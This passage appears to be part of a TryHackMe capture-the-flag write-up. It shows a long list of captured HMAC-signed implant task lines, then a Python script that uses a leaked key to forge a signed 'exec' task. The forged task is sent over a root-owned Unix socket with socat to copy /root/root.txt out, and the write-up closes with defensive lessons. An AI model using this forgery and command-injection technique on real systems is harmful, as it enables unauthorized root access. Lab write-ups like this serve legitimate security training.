2870|sysinfo|uptime|1286|b080ac7f7354e5eed23e1435a319250ea796a0c03c9da4eb247e727733635cbd
2880|sysinfo|uptime|1287|7a6dcd3741976740e7970886ee6a679cf0b7fc5e72a7ad3e718d86cbf364429e
2890|sysinfo|uptime|1288|2fc32ab20d509a03f404aca826b676a0da875b90aeb78384f1cb08e1b988e10f
2900|sysinfo|uptime|1289|6c30818fe6b0fd0de07d03446911e615614655830d54a7b9cf93f5995936f5a0
2910|sysinfo|uptime|1290|0459359b219205b97c3ab934bfb397369315b6441625ba3be98e8697745ca0c3
2920|sysinfo|uptime|1291|5b1516021f853d4d58fdbfe8072c9a97b23dea19a98255defacffaa8d5300200
2930|sysinfo|uptime|1292|d1a3ce6b93b6fa44c34593333f50d698d7c4a689bea213c23cb74306ad539ee9
2940|sysinfo|uptime|1293|b3a10aad3341406128d30e20cf7191d8dbe609ec68ca50664e0dda2bd5c9d7e1
2950|sysinfo|uptime|1294|8892514a0d1a66cd01b05901facc307917b9f676d60e1d7e6deb92be1cd3342f
2960|sysinfo|uptime|1295|1975834aad66761b8a15c8ba3e6a34d5500305c0a7b7f47f27c1656d03011399
2970|sysinfo|uptime|1296|22a42ddf6ec54e9f48c13a2b90bbc2bfcb8515190f1eec3fdbcfa290a163c222
2980|sysinfo|uptime|1297|dd9e211f76489d95625a1d9f686bd049248cf2941497ce5adfd87262846530c7
2990|sysinfo|uptime|1298|dbf68e66be01b506a42c75dc3aebab5f3882aad4d80bdf552de5896520747fa3
3000|sysinfo|uptime|1299|b6b8b723232b82f3bb295435686fe114bb768d78f6dc4a1b7c2a905a82b11558
3010|sysinfo|uptime|1300|9a34887f24744b2ff89751e66ab173d0cd312a6bf0b757b0fe72cd48d71e1c59
3020|sysinfo|uptime|1301|97bb2f2f72c17bffffed477c6a63287bdcd0fb30f5ad5017dd18abe39174a22f
3030|sysinfo|uptime|1302|e17ca3ef695b4ddc2d3aa0a7d32a69204bb4868973623f0839981101b5572f32
3040|sysinfo|uptime|1303|c39034f191f022a868badd1fc75db90baebe9fc40de2ea7fc7082b094601bc82
3050|sysinfo|uptime|1304|ca03be7013842a5d0fd3054f569b6825c2a928a4573f24644371896df015ac90
3060|sysinfo|uptime|1305|f509295d2871a282dfc50f7da8a0f89e6a686ab5bf8d8eb976da350188bb9f69
3070|sysinfo|uptime|1306|5eb8c2396784b1bb9b7d48ae4ab6744db4aa5db1ed91877b1cf934fbc1d0be1b
3080|sysinfo|uptime|1307|a3d8958f5d791321e4ee6cfa2a7429fe31714bbb6d69b7ea7d6d8f8020426908
3090|sysinfo|uptime|1308|d3c2b903c9950d559911aa04816b00e239f3e6f96ecd7809377c8ade2057c157
3100|sysinfo|uptime|1309|b2e8a8e053634943d565f624a50ab6dc2037617fe2b9e24d2b956afb220835d7
3110|sysinfo|uptime|1310|10439952f26161f1d8e3f2bf544c4201ce1329a38b68deeabb39680001905160
3120|sysinfo|uptime|1311|ca50de99c0d2706b2020063577558b257e2f11fe6210e19e59f4ed044f703259
3130|sysinfo|uptime|1312|54a77de1bcd6c2ff65b7b44ff502d0b9abf3d3e7fc00f87a98e70febfa50e79e
3140|sysinfo|uptime|1313|0f9324091304b88203287a77e9fdb642645f41ede8d2af25bb5de1f1d8ef8ee4
3150|sysinfo|uptime|1314|9165e990a75c9200968bf8ca826ec3649cc3d8e40490522a46c678bd7bd56536
3160|sysinfo|uptime|1315|56a1ce1408c68fb630e91fb99230b5ef97a42be71d3ebb68997fd526875e57e0
3170|sysinfo|uptime|1316|d23105381988c96451dabafb64f9be5434822586898b5f255aba7850fcfeca05
3180|sysinfo|uptime|1317|15766bb2e82d770a5fe96cd8d16aa55418810e47ac06df721db390a056fada07
3190|sysinfo|uptime|1318|a7b2ff7bc8327c6c4cbe29d29698400d3229afee925f8aa5ec77a0e6391f86a3
3200|sysinfo|uptime|1319|6027fbb5afc9b2260f23dac303ea053033ec23ecc3a0a74036bc15bad8b137e9
3210|sysinfo|uptime|1320|65432894de251d0351b809468c1f9837ebcec48d12c943e7f327020dd288ee0f
3220|sysinfo|uptime|1321|c34277d9e5732308cb0a8b284bea6a849375be470543c9edaf95079e5bae69c8
3230|sysinfo|uptime|1322|b9d5bb4df12f931dc3544cb3e51e001ff331ba87d771ae18dca4200da57ad7b4
3240|sysinfo|uptime|1323|be3faa92467b1e821b112fe6fe37861d0c59618f1a892a040afa70489e21b125
3250|sysinfo|uptime|1324|655c8713d8b4134aea51f0363d61b3efa60c079fc6cff0f73307efc2003e3528
3260|sysinfo|uptime|1325|1cbaf86ffa9d4468f4a52a358d6061df4952d8ef77f4f742fa4808e3ca3a5792
3270|sysinfo|uptime|1326|e616f2b2df945c28d22664b80ef8d2203ef05d6c0209dfe5342630683c7ea0ed
3280|sysinfo|uptime|1327|57e667a038b091b40790250f19e0bfefd9152cc4e1a8649aafb0c7a56f543cd2
3290|sysinfo|uptime|1328|ffc2ceebdd72ce35e7f02d82173709cabdcb8bb20ccb5ace271fb68930abd3e2
3300|sysinfo|uptime|1329|b967e8a2ab5c0067f04502921dff2e6ca8121a41df1521d286e41b58eb2e243a
3310|sysinfo|uptime|1330|022fad7fc4a5f41afbc054bcd6620084ce7fc28e2453180324e3f4fca240cce4
3320|sysinfo|uptime|1331|edd6b0cb1efd2e5603b270871e9a3ecda36565a01e9954cc6c5b16d36658ee92
3330|sysinfo|uptime|1332|1fffac60d44775469b55cd841e47a568345bf0801a922250eeb42199b969c4f1
3340|sysinfo|uptime|1333|9e861b913a08b24b1f2d0d232d8f80f079dee879e02fc951fa184c5671dc686c
3350|sysinfo|uptime|1334|78fc82e820fb6e00e718d39442fcab9dfec186e47f454174e4fa14545f210834
3360|sysinfo|uptime|1335|9bffd563cfdff881475b9f92a6fe33c28f638e78ad0f893013b1e4332dfdc3d4
3370|sysinfo|uptime|1336|7afe7cf8d55153223e3e8182edde6c453cb9271a1d0d0e09628a0063a9590876
3380|sysinfo|uptime|1337|919d99114ebfd8580cb9bd5cb125e7461ac5868129e96815d636e9a1ca5b9986
3390|sysinfo|uptime|1338|211627a8edffb7a409b6f67bc5d8f56a91751449eead88701b18913185a4618d
3400|sysinfo|uptime|1339|f03154983a27b6a2e173bfdf9118bfd7f0a202964e723769ec21dbf1405f0b2f
3410|sysinfo|uptime|1340|890093cd939149c7593846d3ee68a6c48d98457de5661f1cf081f8816e2364a0
3420|sysinfo|uptime|1341|c554ed3bbab61347b756ff4184179fbde34fb48d55b3f452c91a53c46f6fc2df
3430|sysinfo|uptime|1342|be3c63e7bf9a37a1acc72919e07bf380f3c9a4161c570462db7ac90a8989a667
3440|sysinfo|uptime|1343|4af97b6dc4502c70423bb943fccaf9374b15bc9d92d560860b39c19aa1c8cbff
3450|sysinfo|uptime|1344|365f6fd830f17b8163b9298707408c285354e44477ad703624100396b464e8e0
3460|sysinfo|uptime|1345|d7c581ab20bc29565d77a1a612d8c26ad1b52a3061e3b1991f807a80dac66cf8
3470|sysinfo|uptime|1346|471470c525fd3ea90b80ed205a8c44d54b95ad671960286312e614e407f7b69f
3480|sysinfo|uptime|1347|0aa3b213eddc7cb67b8d0e2fe46912e50b727ed0769b4b9edf315c4137ea6ba1
3490|sysinfo|uptime|1348|06aae419cae2b0106313a8d72ab22658f7b37dde8a7c80b3c1bc8a03b5e8ed57
3500|sysinfo|uptime|1349|15e8dd8b627b9210b8dcc1de5c3a5d6ecbbf0e00c94325b3244c99a1be56824d
3510|sysinfo|uptime|1350|9db732dd743153a4d28472c0f35e7f6d9f8000c9bafa00c5ae8e00ef04fd7f62
3520|sysinfo|uptime|1351|a6f8288f9702ca0d9efb26e51f0f4d7cf981a14467c661d68e6be3df694c7593
3530|sysinfo|uptime|1352|9e83c2896507a3af593d8f349bee85bcfd95399bb85cfe5d44d2db1eaab2938d
3540|sysinfo|uptime|1353|e058553ca59de30712bb2ddc577033c9dc4674c05b286715131d54720231dedc
3550|sysinfo|uptime|1354|2ff463c99d8958f615a242b7903fc51690504db710321dc5b51ee1876171a8b7
3560|sysinfo|uptime|1355|704d702147eb10922563c72aa9fc07323d24e10451531f37d716509ebd258076
3570|sysinfo|uptime|1356|27ea443ccaa5ffc7677112095de447e91eeb7b12d16d5c92d49fbe04f2f81d48
3580|sysinfo|uptime|1357|f8de29991860adf618504468805fbb83fdde077caa8d72871f6286acebb5b6c4
3590|sysinfo|uptime|1358|5d3fc20751923cfddf8f8b7c3f1b66547446ab9a9969a1d293b4b9b5457a40db
3600|sysinfo|uptime|1359|02b99ea96e7acd2692ada7a95f2e1be87aed650e03a5ff2193d9b129bbb593a6
3610|sysinfo|uptime|1360|bae0de1a9a429f78c7d7a1a1396c8aa97cc9725da7f48d7f2d6ce4495b949324
3620|sysinfo|uptime|1361|b8e4d6ec4dbf8b0388090f2b932b3e000592b059d480f04542a69d2e3a357539
3630|sysinfo|uptime|1362|a465b6ab5842a011305b6ba0bec973e8f71b318939b29f6155604ec993634635
3640|sysinfo|uptime|1363|df3c1a1d591bfff3f7a386dd4c0aebb5c9732d3ecefd4c137fa29dc379190dac
3650|sysinfo|uptime|1364|f3853833b4721bf82ed38d676a1499fb0f1d705b87ff24ffdcdc857e4bc9d16d
3660|sysinfo|uptime|1365|d49c75c63d8638cf91ceef8e6110efa4b68cb6279473988b64d5f2f475a55c2c
3670|sysinfo|uptime|1366|caeea5f5be333d2f2babddd2f9de7d2e866a12f9101902b45c96d2cbe24e8e5a
3680|sysinfo|uptime|1367|dbc7000c195401a5d5e4e8b430c41de5964b5713ae299cf991fc6a0fb57fa2c5
3690|sysinfo|uptime|1368|525a2bd17c6ff5b72f54c85a2c7a1f99462844aa7d9248800756fdca663da3f5
3700|sysinfo|uptime|1369|34c18e5e66858e66a2eccee4035246d9c330d9078312e07ed5140de2d7497b27
3710|sysinfo|uptime|1370|7de0b04992622e4351c19953e1b501e2347cb5b4c49dacbebf3c40b6ec58b685
3720|sysinfo|uptime|1371|18da3b39cab565437d6242057e3e78f5d38b6df40f92d0a28bbae4e39fbf9cbc
3730|sysinfo|uptime|1372|d212e9ba9b807633ade38f76471c485685ec098d1130efbf6560282cf2ffb198
3740|sysinfo|uptime|1373|66ee4c7665ed106e1377501685ca52fae519ec99b62784a353f4e3e325aa62ee
3750|sysinfo|uptime|1374|3f8d4edccdf11b464904a198d3a5d796ac73ec59ae88ccae45d07d9f14476a3b
3760|sysinfo|uptime|1375|f2b96091846d4880886985dec8e94272d48fb26053fe10348ef5d2201edb782a
3770|sysinfo|uptime|1376|cd3300dcd4f66a733b1c1cf7c00811f72c959196a78098127d0ad2e7271a9f78
3780|sysinfo|uptime|1377|816b653d5f9184323ab09afb15e9d9bf83a1bbabce1383a323ca981136ed83d0
3790|sysinfo|uptime|1378|799784025b1e047f79d99eb2d5722cbc4f9d8e0a5a32ecde4ac62368a5b33585
3800|sysinfo|uptime|1379|4ebff5540fa8b7004efa04fa6d2410b015475bc874085db7e59ee811e0d3618f
3810|sysinfo|uptime|1380|5aa6ebcfbf6d0da4344c73cb52925c624a6abc489a5accd5277161c566c642bb
3820|sysinfo|uptime|1381|b10a6ad4a67eb29ab3bca69d76522d46e74e39b7ee137f2e600de610bdb01e67
3830|sysinfo|uptime|1382|3bc1de04b0242fee76b7664f26215d373233146ce3837404ca0174a3cc2acc47
3840|sysinfo|uptime|1383|936dcb65a740981a4986d8f7c0c2f3113b3f4ef28117a6010abbc07bbce93017
3850|sysinfo|uptime|1384|2331ef2c0187939d967c4c5eb318056ac30188ffbfe199edd3dd65a8cf9cf049
3860|sysinfo|uptime|1385|61bb59370916f1bf9322160ed958aecd0011e5993bfd63a8bb3748f3978f5480
3870|sysinfo|uptime|1386|d8961b24af5f8457b66f2100fae3236c4d04efa7eb2bbad36b86fb5841f48885
3880|sysinfo|uptime|1387|bce80a7a8b0d8e747b2dbb2edf8999a39398e17f85a9ef09a1d830db4f8e5c3e
3890|sysinfo|uptime|1388|c9802272e62928a041e953aadade6a7aa4f7549b576a62e932b7ac3f794ba212
3900|sysinfo|uptime|1389|789b3bb1beb1f0931279d4bb51fd6c55270af41c4da804c9ab6924072f2f2fb4
3910|sysinfo|uptime|1390|63a8e383a9592913c74ae8f08698a55e46619fe8ed5a8daa1b3d389e92b20e1d
3920|sysinfo|uptime|1391|5307c206089e2b354411efc837100d02f7dcdd5da28dfccf0dbc27d8d5adb5c9
3930|sysinfo|uptime|1392|563ad8e91aad5a3112747be5a9b0e50826bcc26cfcab582006d649951e8881c0
3940|sysinfo|uptime|1393|d6c212adbf22c9ce6b8b76284c80a83b09b0995cd565116b249f422e1fdbdbbe
3950|sysinfo|uptime|1394|913f961d89d30ef87bd1b55e6b37a73f1bf58de8390a6067755e26fb4845b624
3960|sysinfo|uptime|1395|aea2059915df199a37a05bb620b5e7face6be9c62f70af60e043eedf96880aed
3970|sysinfo|uptime|1396|d2bdcfc2f64284a859f67d59dc35f922d5def5eb17d6d905c27ce14621fe0039
3980|sysinfo|uptime|1397|32b5942224cd003802351495269c6379d13d98e2b28fe633313d23ecf3632ec3
3990|sysinfo|uptime|1398|c4cb74f891113f3d9f3b6c83df23ef174ae0d2da69dcb939f1ca40b785e57ab1
4000|sysinfo|uptime|1399|d397421897d332bf81613a03113083cdf4ede806afb7733705910733c04c5a5d
4010|sysinfo|uptime|1400|8583acb1d84583ecee997bf4c916b6c60506841eb93affd2e2c4acafcdf42b5d
4020|sysinfo|uptime|1401|aa41d82e8dadd9a8277261ad39cd22f0a922fb90c0c8a5f857fc1f4500340662
4030|sysinfo|uptime|1402|389ce2c736039b15ed0cd2737a5eaf5e68d04a0bdc48a4b81defd5d97741960d
4040|sysinfo|uptime|1403|f076f1fc1cef1d2ebb1d894a45be8fe9536751c74ec59b6e5c50aae8ff2ff4ab
4050|sysinfo|uptime|1404|37378cea3d2e26242ff6b5d8850b19526f70e753ffa40a239c2a42a86283da94
4060|sysinfo|uptime|1405|7d196ae9478593fe3247ed96a7f05a88dac7deecba5af6954a2273a677cb636c
4070|sysinfo|uptime|1406|8aa911e580ee0a97be552ba6a153842657de727822b8fe03d7a67d8b7e1db2ca
4080|sysinfo|uptime|1407|c3a81c1fc10291db3d8e675b3c0be6891b353662c9d8b91cddce582f1af78ecd
4090|sysinfo|uptime|1408|d6c44e3aefa897927b54121ce9be293aa8fbcc24914948b367840d42d08b6f91
4100|sysinfo|uptime|1409|4b985b43b175fb17f7f6ec00daa277f3468fb259a59872577c1a0bdb2bac589b
4110|sysinfo|uptime|1410|6d842313efee18a54f0b949e5b48bcd0767f7e436fe2b609615fdd71a0d54fc2
4120|sysinfo|uptime|1411|3870c73d714383370ae270c410a780d828e3ae3b210003871ce8e8c6687a7e9a
4130|sysinfo|uptime|1412|3fc1a0628baae3015496a2509fc688e1b1d5a1079eeae4c832c505200fe044de
4140|sysinfo|uptime|1413|d6a81390dd05fe77acbd76e56cf2900ea721e08b76cb8a110252216b96c97646
4150|sysinfo|uptime|1414|9de22761951f30debd1a6479737439a70e2a9132af4cae6d7d4ef7000a6a8383
4160|sysinfo|uptime|1415|e8f4a2a468d9c7fcac7a4efbc464882589672ed9534f44d8e4c43c6b691c7292
4170|sysinfo|uptime|1416|d8b44ae9182bade3ccd4d414a0a2d81c4c9d8260f8e4d7e63e2e74b39102e3f5
4180|sysinfo|uptime|1417|dccd21aaad99568deb74b03431a71b11d8b1a1cc806f9a00de3e980aa88b5c8c
4190|sysinfo|uptime|1418|88b87a0bf3d09dc4609f2b128c31c1396eda48d58273f84ce260688c355df368
4200|sysinfo|uptime|1419|c72e3ef1c8b17123210800bc5b940bb71d81f6872ff5ebcddeed061c54f0e02d
4210|sysinfo|uptime|1420|f2255c34e2e304981202561d400baa10e923bf6e461c5d56b1867560279bf3ea
4220|sysinfo|uptime|1421|6a716eb01058f93507dc2d9478f89d6996028add371a55ab8e3cd83c4505a193
4230|sysinfo|uptime|1422|caba8aa44da2f4a607b32c10559449deb5d714e5394f179fa2fb464931a53b0f
4240|sysinfo|uptime|1423|3db3a28f378423738a26f53109ada9f69417e25c483f65bca3a9e6d97cac9efd
4250|sysinfo|uptime|1424|d16ee69661a93b2f55c08112734ffc41bd5632654a3536728202d3bae1d83570
4260|sysinfo|uptime|1425|56c14307ca79a7b1d7f0c342e65b00f207d1117586d83c0e8c2129b0cc4de940
4270|sysinfo|uptime|1426|984c5acc0973a057001c9fa9eec552c4607fbe348ba1f3ac9b35978958dfc620
4280|sysinfo|uptime|1427|d8eed035858fb71b79c47c2a1b83c0a25f58c3f8c1dead2b20204cc105ae1ecc
4290|sysinfo|uptime|1428|be70598871ce7f791e787f3ca2ab549bd604dbab2feea3709bd28c9d2544f04f
4300|sysinfo|uptime|1429|a2563368852f1e472701851b047359fe909f56a63c07f51cdaed18128ae364d0
4310|sysinfo|uptime|1430|ae0f096a9631137eb3fd265beb505b8093c2a145983ed4d9d61b6e7bd8880ca6
4320|sysinfo|uptime|1431|eeb3f29070ca3a5c2728147144fb8bc5e15abe8fdbc85924aca7a10063c8059f
4330|sysinfo|uptime|1432|0feb2785d74c83e0f6365380054df1671d29fa8e3c56d8f41d56a7dd7e3595c9
4340|sysinfo|uptime|1433|6700cece5e25719ce523a11766842bdb4f254d0088eb773c86c5d853c82e8ecd
4350|sysinfo|uptime|1434|42a83e19bffc218747acccf0f87cc583e41669c3db35d239f551564d1028995b
4360|sysinfo|uptime|1435|4c712b33ea2fe76efb3f8cf4e879aef961810edfa9c574cb4fe236385642f0f7
4370|sysinfo|uptime|1436|70ed0f5640e70edb3aca32dd3b1829ef23f8be4623848728e185a023cda183f8
4380|sysinfo|uptime|1437|687343605f9cfb5f805de871f116466c5872153129d4a48168f8677829bef9cb
4390|sysinfo|uptime|1438|08cc92c9936f7e5e8466ceb304d4329cce8675b34a2772ca3e25322956db9e18
4400|sysinfo|uptime|1439|22616552708fe2d64090a10687f0fad25c5da867e660d427a97610070536e113
4410|sysinfo|uptime|1440|16842ea0485b99a40ac7374f6dac9cfe8bff82c1ccc351f05028e71746675ba2
4420|sysinfo|uptime|1441|1202855c7cacf1abc51c2860fec7aff010c611db545466a9b4a3644a01bef43d
4430|sysinfo|uptime|1442|defb16b01c8de0f1914964ef29e55f795b39621a48d6314293943ec821f699f4
4440|sysinfo|uptime|1443|4ad8011a75ca4c5850681761b646b0c8e695397b3c62a9ce51c1a9bd1655ba93
4450|sysinfo|uptime|1444|cdda3fb06bec394681252e7ad956e895a73c91ef0b99408d291d3c117b79548c
4460|sysinfo|uptime|1445|693c957e9d5d620ebcb39141299c344ea2efc67f2801289a2ea7d8d581dca2ba
4470|sysinfo|uptime|1446|04ea4b2381f8aadb097f3326375c4936a612d01c5bc119192bb25b9f80955bcb
4480|sysinfo|uptime|1447|31fee5efd27955500499a63c7c5b67a2ad02ba2262048ae0a3ff70204db9eb79
4490|sysinfo|uptime|1448|a955ff91900ef3cc781995feee4d997d5b8b3a369e32de7a812468e886216f7d
4500|sysinfo|uptime|1449|42721992b1087919f76174701d936254465c988a4479851c4db52bd8664a991b
4510|sysinfo|uptime|1450|6890e66027be3c10562c0f94399adfb1173a4d6c026ba34d0f6a952177f13375
4520|sysinfo|uptime|1451|8bd833ae2f185e51ff90352be8fe7bb50699fd91cbfd6cb7cc0ee255944448f9
4530|sysinfo|uptime|1452|4b37f0ee81d9d46329d8ca089266727aa81bc11ec0d51e87900514bcc7ce7a1c
4540|sysinfo|uptime|1453|0ff193a940bbdd577e15327f7a221f5782da29a7d6a122f62832a335dddb086e
4550|sysinfo|uptime|1454|b1b5bee47ffd814790f1ca0dee5cab125541187a56d4c59b81a36aff46c30309
4560|sysinfo|uptime|1455|baec832751b1a08ac8fad1ffdffcadd5d33c1125007b1d7142ece76060ff8786
4570|sysinfo|uptime|1456|4b13d1b0925c75c5725959f225ec67be510020e0874b7ab43252e967d486f19a
4580|sysinfo|uptime|1457|6d300370964b42473b90ceb49186140e8ed33166b240d7542df49cfca6302e27
4590|sysinfo|uptime|1458|1efdbc52f34555072b40f8ecfb6f587be794195cb0a55af5ba3ff01bbefc8077
4600|sysinfo|uptime|1459|6332ee755dd656dc02f93427e1f7b8d76ad89b078d6d07cc5d1895b2db7cc15a
4610|sysinfo|uptime|1460|27673e09d41964834f18ffe38492f75a2244c48e0b59f067723d51408b4db9db
END
10|sysinfo|uptime|1000|2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718

Recalculating:

message = b"10|sysinfo|uptime|1000" signature = hmac.new(implant_key, message, hashlib.sha256).hexdigest() produced the exact captured signature:

2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718

vanessa@tryhackme-2404:~$ ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug 11 12:08 /run/evilinc/tasking.sock
vanessa@tryhackme-2404:~$ printf 'HELP\n' | socat - UNIX-CONNECT:/run/evilinc/tasking.sock
ERR unknown verb
vanessa@tryhackme-2404:~$ ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug 11 12:08 /run/evilinc/tasking.sock
vanessa@tryhackme-2404:~$ printf 'HELP\n' | socat - UNIX-CONNECT:/run/evilinc/tasking.sock
ERR unknown verb

Signature generator:

┌──(kali㉿kali)-[~/Downloads]
└─$ cat sig.py
import hashlib
import hmac

implant_key = bytes.fromhex(
    "aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319"
)

task_id = "999999"
task_type = "exec"
command = "cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt"
nonce = "424242"

message = f"{task_id}|{task_type}|{command}|{nonce}"
signature = hmac.new(
    implant_key,
    message.encode(),
    hashlib.sha256,
).hexdigest()

print(f"SUBMIT {message}|{signature}")
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 sig.py
SUBMIT 999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242|75e872a67413ccd4ffd3273bda04c4ecc52ed1eedad26025ad890b6579757061

Execute the generated submission line as Vanessa through the pickle primitive:

vanessa@tryhackme-2404:~$ printf '%s\n' 'SUBMIT 999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242|75e872a67413ccd4ffd3273bda04c4ecc52ed1eedad26025ad890b6579757061' \
  | socat - UNIX-CONNECT:/run/evilinc/tasking.sock
OK

vanessa@tryhackme-2404:~$ ls /tmp
root.txt                                                                 systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-logind.service-GpetwO
snap-private-tmp                                                         systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-resolved.service-zxkHtG
socket-poll.txt                                                          systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-timesyncd.service-AP3Y0z
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-apache2.service-kmEwIy  vanessa_id
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-polkit.service-WeEMLv
vanessa@tryhackme-2404:~$ cat root.txt
cat: root.txt: No such file or directory
vanessa@tryhackme-2404:~$ cat /tmp/root.txt
EVILINC{d00f_r0ll3d_h1s_0wn_crypt0_4nd_p3rry_w0n}

Task Submission: Once the logic is understood, craft a submission command that bypasses the protocol's validation, allowing you to force the binary to execute commands as root (e.g., copying protected files to a readable directory).

Conclusion

This process highlights the critical importance of keeping dependencies updated, avoiding cleartext credential storage, never trusting serialized data (especially pickle), and securing inter-process communication sockets.

Stay vigilant and happy hacking! 💻✨ Thanks for reading, share with everyone!